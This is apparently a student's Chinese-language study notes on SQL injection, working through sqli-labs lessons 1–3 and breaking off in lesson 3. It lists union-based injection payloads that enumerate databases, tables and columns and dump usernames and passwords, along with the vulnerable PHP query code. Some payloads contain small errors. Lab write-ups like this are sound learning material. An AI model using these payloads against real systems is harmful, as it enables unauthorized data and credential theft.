写在前面
1.本着理解sql代码点来学习。
2.想要了解多种sql注入的类型和方式。
3.学了两年,啥也不是,现在反过来反省反省。
4.活在自己舒适区,想试图跳出来,别让自己在该奋斗的年纪选择躺平。
5.如有错误,希望各位师傅提出,我及时改正。
Sql注入
简介:常见的数据库攻击手段,用户通过在表单中填写包含 SQL 关键字的数据来使数据库执行非常 规代码的过程。
类型:
1.字符型注入
2.数字型注入
3.盲注
4.报错注入
5.联合查询注入
6.堆查询注入
less 1 基于错误的单引号字符注入
尝试手工注入,输入单引号,返回错误提示。
报错信息:near “1” LIMIT 0,1‘ at line 1
这里-1的作用是查询不存在的值,使得结果为空,-1’ or 1=1 # //这里注释用错,换成 --+即可。
接下来就是进行常规的注入
-1' order by 1 --+ //显示上面的图,说明存在列数为1
-1' order by 4 --+ //报错,显示Unknown column '4' in 'order clause',说明存在列数为3
-1' union select 1,2,3 --+ //显示页面的位置
-1' union select 1,2,database() --+ //爆库
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+ //爆表
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+ //爆列
-1 ' union select 1,username,password from users --+ //爆数据
sql源码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
传入id类型为int,传入1‘#,前面的语句为’1‘,#将后面的给注释,加个;让服务器查找到并结束语句
less 2 基于错误的get整数注入
尝试单引号注入,发现注入得到
猜测为get整数型注入,原因是有两双引号,多余一个引号没有闭合,把逗号去掉,显示数据。
-1 order by 1 --+ //先判断字段,由于是-1所以不显示数据,1的话就显示1的数据,当到4的时候显示Unknown column '4' in 'order clause',得到字段为3
-1 union select 1,database() --+ //获取数据库
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ // 获取表
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='' --+ // 获取字段
-1 union select 1,2,select 'id',(select 列名 from 库名.表名 limit 0.1) //获取数据
less 3 基于错误的字符型注入
加单引号,注入发现问题
猜测类型为字符型注入,查看源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; //这里增加了括号,用")"进行闭合即可。
-1') order by 1 --+ //